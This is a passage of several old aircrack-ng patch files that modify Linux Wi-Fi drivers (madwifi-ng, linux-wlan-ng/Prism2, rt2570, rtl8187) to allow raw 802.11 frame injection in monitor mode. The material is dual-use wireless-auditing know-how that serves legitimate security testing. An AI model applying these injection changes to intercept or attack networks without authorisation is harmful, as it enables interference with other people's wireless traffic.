WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1886.patch0000644000000000000000000000174310761053203021267 0ustar rootrootdiff -ur madwifi-r1886/ath/if_ath.c madwifi-r1886-patched/ath/if_ath.c --- madwifi-r1886/ath/if_ath.c 2007-01-07 21:22:55.312500000 +0100 +++ madwifi-r1886-patched/ath/if_ath.c 2007-01-07 21:17:09.875000000 +0100 @@ -2289,6 +2289,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2305,7 +2306,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-beta3/patches/old/linux-wlan-0.2.5.packet.injection.patch0000644000000000000000000003113010761053203024435 0ustar rootrootdiff -ru linux-wlan-ng-0.2.5/src/p80211/p80211netdev.c linux-wlan-ng-0.2.5-patched/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.5/src/p80211/p80211netdev.c 2006-08-31 15:40:47.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/p80211/p80211netdev.c 2007-01-05 09:34:01.000000000 +0100 @@ -511,7 +511,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -523,7 +523,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -951,8 +951,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x.c 2006-08-03 16:00:04.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x.c 2007-01-05 09:38:13.000000000 +0100 @@ -1871,8 +1871,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3112,12 +3120,33 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3140,7 +3169,8 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3585,6 +3615,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(rxdesc.status) ) { case 0: + + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } fc = ieee2host16(rxdesc.frame_control); diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x_usb.c 2006-04-03 18:12:03.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x_usb.c 2007-01-05 09:46:13.000000000 +0100 @@ -1428,8 +1428,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + // cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + // HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3429,37 +3437,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + // hw->txbuff.txfrm.desc.tx_control = + // host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + // /* copy the header over to the txdesc */ + // memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + // /* if we're using host WEP, increase size by IV+ICV */ + // if (p80211_wep->data) { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + // usbpktlen+=8; + // } else { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4221,6 +4263,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.5/src/prism2/driver/prism2mgmt.c 2005-06-22 16:16:55.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2mgmt.c 2007-01-05 09:49:13.000000000 +0100 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { + // if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; + // word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { + // if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.5/src/prism2/driver/prism2sta.c 2006-01-19 22:25:50.000000000 +0100 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2sta.c 2007-01-05 09:49:50.000000000 +0100 @@ -410,7 +410,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + // if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1713.patch0000644000000000000000000000174710761053203021260 0ustar rootrootdiff -ur madwifi-r1713/ath/if_ath.c madwifi-r1713-patched/ath/if_ath.c --- madwifi-r1713/ath/if_ath.c 2006-09-15 20:16:39.328125000 +0200 +++ madwifi-r1713-patched/ath/if_ath.c 2006-09-16 00:47:55.140625000 +0200 @@ -2253,6 +2253,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2269,7 +2270,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-beta3/patches/old/rt2570-cvs-2005112305.patch0000644000000000000000000000361510761053203021253 0ustar rootrootdiff -ur ../rt2570-cvs-2005112305/Module/rtusb_data.c ./Module/rtusb_data.c --- ../rt2570-cvs-2005112305/Module/rtusb_data.c 2005-11-04 23:53:18.000000000 +0100 +++ ./Module/rtusb_data.c 2005-11-23 14:44:16.000000000 +0100 @@ -1711,6 +1711,9 @@ struct sk_buff *skb; if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + goto rfmontx_80211_receive; + // setup the wlan-ng prismheader if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) @@ -1762,6 +1765,8 @@ // end prismheader setup + rfmontx_80211_receive: + skb->dev = pAdapter->net; memcpy(skb_put(skb, pRxD->DataByteCnt-4), pData, pRxD->DataByteCnt-4); skb->mac.raw = skb->data; diff -ur ../rt2570-cvs-2005112305/Module/rtusb_info.c ./Module/rtusb_info.c --- ../rt2570-cvs-2005112305/Module/rtusb_info.c 2005-11-20 22:54:28.000000000 +0100 +++ ./Module/rtusb_info.c 2005-11-23 14:51:47.000000000 +0100 @@ -277,7 +277,10 @@ pAdapter->PortCfg.BssType=BSS_MONITOR; RTUSBEnqueueInternalCmd(pAdapter, RT_OID_LINK_DOWN); pAdapter->bConfigChanged = TRUE; - pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + pAdapter->net->type = 801; // ARPHRD_IEEE80211 + else + pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM RTUSBWriteMACRegister(pAdapter, TXRX_CSR2, 0x4e); break; default: @@ -1132,9 +1135,11 @@ { case 1: pAdapter->PortCfg.MallowRFMONTx = TRUE; + pAdapter->net->type = 801; // ARPHRD_IEEE80211 break; case 0: pAdapter->PortCfg.MallowRFMONTx = FALSE; + pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM break; default: return -EOPNOTSUPP; aircrack-ng-1.2-beta3/patches/old/rtl8187_1010.0622v2.patch0000644000000000000000000007105510761053203021114 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-02-17 13:42:56.967245565 +0100 @@ -156,6 +156,23 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +#define IW_MODE_MONITOR_PRISM 15 +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-02-17 13:42:57.047246772 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-02-17 13:42:57.127247979 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-02-17 13:42:53.757197143 +0100 @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-02-17 13:42:53.787197595 +0100 @@ -21,6 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 @@ -108,6 +109,63 @@ return ret; } +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); + + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + + return ret; +} +#endif + static int r8180_wx_set_rawtx(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) @@ -623,8 +681,8 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + NULL, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-02-17 13:42:53.827198198 +0100 @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -98,6 +99,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -158,7 +163,6 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { @@ -407,13 +411,14 @@ return len; } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -561,7 +566,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -575,9 +593,9 @@ for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -1112,7 +1130,10 @@ struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1557,10 +1578,10 @@ struct r8180_priv *priv = ieee80211_priv(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; + u8 hw_version; + u8 config3; //FIXME: these constants are placed in a bad pleace. @@ -1580,6 +1601,13 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); @@ -1622,7 +1650,11 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, @@ -1716,6 +1748,12 @@ priv->enable_gpio0 = 0; + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 @@ -1807,6 +1845,12 @@ priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; @@ -2291,13 +2335,17 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = NULL; + struct iwreq *wrq = NULL; + + int ret=-1; + + priv = (struct r8180_priv *)ieee80211_priv(dev); down(&priv->wx_sem); - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + wrq = (struct iwreq *)rq; + switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); @@ 